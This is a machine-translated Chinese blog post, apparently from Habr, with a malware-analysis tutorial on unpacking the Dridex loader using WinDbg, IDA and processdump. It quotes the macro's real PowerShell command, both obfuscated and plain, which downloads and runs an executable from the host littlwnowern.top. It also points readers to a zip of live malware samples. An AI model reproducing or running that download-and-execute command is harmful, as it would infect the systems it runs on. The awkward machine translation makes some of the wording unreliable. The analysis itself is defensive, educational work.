开箱:Dridex引导程序

晚安,朋友们! 在不到一个月的时间里, 逆向工程课程将从我们这里开始,在这方面,我们传统上就该主题分享有用的材料。

一些读者在解压缩Dridex(由宏重置的引导加载程序)的引导加载程序时遇到了问题,因此今天我将向您展示一种简单的方法。 人们无法解决的我无法解决的另一个问题是,Dridex传染链的使用寿命很短,这使得大多数人几乎无法扭转。 我将解释原因。

当前的Dridex感染链大约分为四个阶段:

  1. 包含宏的Office文档将运行Powershell脚本。
  2. 一个Powershell脚本,它将从被黑的站点或共享点下载打包的引导程序并运行它。
  3. 打包的引导程序,它将自身解压缩并将代码插入到新创建的spoolsrv或svchost进程中。
  4. 一个嵌入式进程,它将与加载程序服务器联系,以检索并执行bot的真实二进制文件。



分析师的问题是,这里有2个故障点:托管引导加载程序的被黑站点可以清除或删除共享点帐户,或者可以停止引导加载程序服务器(它们中的任何一个都可以防止成功感染)。 此外,加载程序服务器通常支持地理围栏(它们仅在您的IP位于其预期使用的国家/地区而不是VPN时才起作用),并且一旦公开下载了引导加载程序,Dridex组便可以将其列入黑名单通过永久阻止运行它的任何人联系任何C2(商业云服务)。

对于所有这些“失败”,令人惊讶的是它们可能是故意的。 大多数接收到受感染电子邮件的受害者将在几个工作日内打开它,然后大多数打开该电子邮件的人将对恶意软件进行分析,因此一周之内消失一切都是有用的。

为了使读者可以在实践中实践该课程, 这里有一个zip,其中包含恶意的Office文档和来自同一链的打包的加载程序,因此无需担心无效的URL(密码:已感染)。 对于带有引导加载程序地理围栏的服务器,我无能为力,并且由于引导加载程序已被召回,因此您将被列入启动黑名单的清单 (如果您不知道如何绕过黑名单,请在新的VM(虚拟机)中遵循本课程并可能在之后更改IP)。

获取打包的加载程序

首先,您要在Word中打开恶意文档,但不要单击“包含内容”。 打开调试器(通常使用WinDbg),将其连接到winword.exe,在CreateProcessW上设置断点,继续执行该过程,然后单击“启用内容”。



使用新的Dridex模式几乎可以立即达到断点(可以检测到某些虚拟机,因此,如果断点不起作用,请考虑对虚拟机进行屏蔽)。

我们要卸载第一个和第二个CreateProcess参数(分别是应用程序和命令行参数的路径),我们可以使用以下命令来做到这一点:

du / c100 poi(esp + 4)

du / c100 poi(esp + 8)

注意:du命令重置以零结尾的Unicode字符串,/ c 100将列限制设置为最大,并且poi(esp + 4)读取esp + 4指向的地址。 结果:

应用程序:C:\ Windows \ System32 \ cmd.exe

参数:“ C:\ Windows \ System32 \ cmd.exe” / cp ^ ower ^ she ^ ll -ex ^ ecutio ^ nPol ^ icy ByP ^ ass -NoP ^ rofile -com ^ mand(New-O ^ bject Net.Webclient )('Downl'+'oadfile').invoke('ht'+'tp://'+'littlwnowern.top/lukaku/','C:\Users\Admin\AppData\Local\Temp\GksagD。 exe'); starT-Process'C:\ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe';

在这里,我们观察到恶意宏如何使用命令来启动cmd.exe来启动Powershell,绕过执行策略,然后加载并运行可执行文件。 如果删除只是baisc模糊处理的字符串连接和字符,则会得到以下信息:

“ C:\ Windows \ System32 \ cmd.exe” / c powershell -executionpolicy旁路-noprofile -command(新对象Net.Webclient)。(“下载文件”)。调用( “ http://littlwnowern.top/lukaku/ ','C:\ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe' );启动过程'C:\ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe';

现在,我们可以简单地从littlwnowern [。] Top / lukaku /中手动下载exe文件。

打开引导加载程序的包装

首先,我们需要为所有应用程序启用DEP(数据执行保护),其原因将在稍后阐明。 为此,请转到“控制面板”>“系统和安全性”>“系统”>“高级系统设置”>“设置”(在“性能”部分中)->“数据执行保护”,然后为所有程序启用DEP。



接下来,我们将在PE Explorer中打开exe文件,并在PE标头中设置“ Relocation Stripped”标志,这将防止ASLR每次启动时将可执行文件下载到其他地址,从而简化了反向操作。





现在保存可执行文件并在IDA Pro中打开它。

通常,Dridex加载程序会创建svchost.exe或spoolsv.exe进程并将其自身注入其中,因此,我们知道解压缩后的代码很可能会调用CreateProcess。 要验证这一点,请在CreateProcessW的末尾(在ret语句中)设置一个断点,然后单击运行。



一旦达到断点,您应该会看到GksagD.exe已按预期创建了一个名为svchost.exe或spoolsv.exe的暂停进程。 如果我们采取步骤从CreateProcessW返回到调用它的代码,我们将满足以下条件。



IDA对指令进行了分段处理,这意味着自可执行文件启动以来代码已更改,这通常是就地解压缩的结果(恶意软件打包程序通常使用空心进程将解压缩的代码写入另一个进程,真正的打包程序将代码解压缩到同一进程中)。

现在我们知道在某些时候替换了主要的可执行代码,我们可以在记录的当前地址上放置一个断点,当代码更改时将触发断点。



之后,删除所有其他断点并重新启动该过程。



断点是从可执行文件主要部分之外的地址调用的,这意味着打包程序分配了一些内存,然后复制了一些代码以替换主要的可执行文件。

如果我们查看Process Hacker中的内存,我们将看到它现在是可读可写的,但不是可执行文件,这很好,因为这意味着打包程序不再使用此代码。



现在介绍一下Sherlock级别的一些结论:我们知道代码稍后会在这里执行,并且内存目前无法执行,因此也许在某个时候它将变为可执行的。

用于配置内存保护的功能通常是VirtualAlloc,VirtualAllocEx或NtProtectVirtualMemory。 如果您熟悉Windows的内部组件,您将知道VirtualAlloc和VirtualAllocEx都将在内部调用NtProtectVirtualMemory,因此这是我们设置断点的地方。

每次调用NtProtectVirtualMemory时,我们可以坐下来检查调用堆栈,等待将相应的地址设置为可执行地址,然后解析PE标头以找到新的入口点,否则我们可以变得更聪明。

我们将使用以下脚本在NtProtectVirtualMemory上设置条件断点:

if (Dword(esp+0x10) == 0x20 || Dword(esp+0x10) == 0x40 || Dword(esp+0x10) == 0x10) { if (Dword(esp+4) == 0xFFFFFFFF) { if (Dword(Dword(esp+8)) >= 0x400000 && Dword(Dword(esp+8)) < 0x42e000) { PatchDword(esp+0x10, 0x04); } } } return 0; 

为此,请转到NtProtectVirtualMemory并在第一个字节上设置一个断点,右键单击>“更改断点”,然后单击“ ...”按钮并粘贴脚本。

该脚本将在每次调用NtProtectVirtualMemory时执行,并将执行以下操作:

  • 确保页面保护参数(esp + 0x10)为0x10、0x20或0x40(又名PAGE_EXECUTE,PAGE_EXECUTRE_READ,PAGE_EXECUTE_READWRITE),这意味着调用将页面保护更改为可执行文件。
  • 确保目标地址在主可执行节的范围内(0x400000-0x42e000)。
  • 将安全设置更改为0x04(不可执行)。
  • 返回0(继续执行而不是中断调试器)。

让我们运行,看看会发生什么。



访问冲突异常! 花一些时间享受这一刻,因为这可能是您见过的唯一严重的访问冲突错误,但是为什么这样好呢?

当打包程序尝试将其设置为可执行文件时,我们在NtProtectVirtualMemory上的断点脚本将所有内存设置为不可执行。 异常意味着加壳程序写入内存的所有内容现在都已成功写入,并且他正尝试在此内存中调用某些内容。 如果幸运的话,加壳程序写到内存的是解压后的引导程序,而他试图调用的地址是入口点,对吗?

为此,我们将使用一个名为processdump( 下载链接 )的出色工具,该工具可以将加载到进程内存中的所有exe或dll映像转储,并将它们打包回.exe或.dll文件。

使用“ pd32.exe -pid”转储该进程。

使用“ pd32.exe -pid <进程ID>”来卸载进程。



文件名末尾的数字是内存中映像的基址,因此GksagD_exe_GksagD.exe_400000.exe将与映射的压缩程序相同,而不是旧的可执行文件,因此我们将在IDA中对其进行查看。



入口点地址与异常地址相同,它是一个未压缩的可执行文件!

反向提示

引导加载程序很复杂,因为所有字符串都是加密的并且没有导入,但是我在Dridex手册中详细介绍的方法也可以在引导加载程序上使用。

看一下:

https://www.malwaretech.com/2016/04/lets-analyze-dridex-part-2.html



https://www.malwaretech.com/2016/05/lets-analyze-dridex-part-3.html

注意:bootloader可执行文件是多用途的(这是嵌入svchost / spoolsv的代码和嵌入svchost / spoolsv的代码)。 如果要反转引导加载程序的注入部分,只需在IDA中将其打开并运行即可。 如果要反转引导部分,则需要将其复制到system32并从那里运行(请注意,在两种情况下,引导加载程序在执行后都会自行删除)。

如果您认为该材料有用,请加一个加号,写评论,并确保报名参加今天将要举行的公开课

Source: https://habr.com/ru/post/zh-CN439916/


All Articles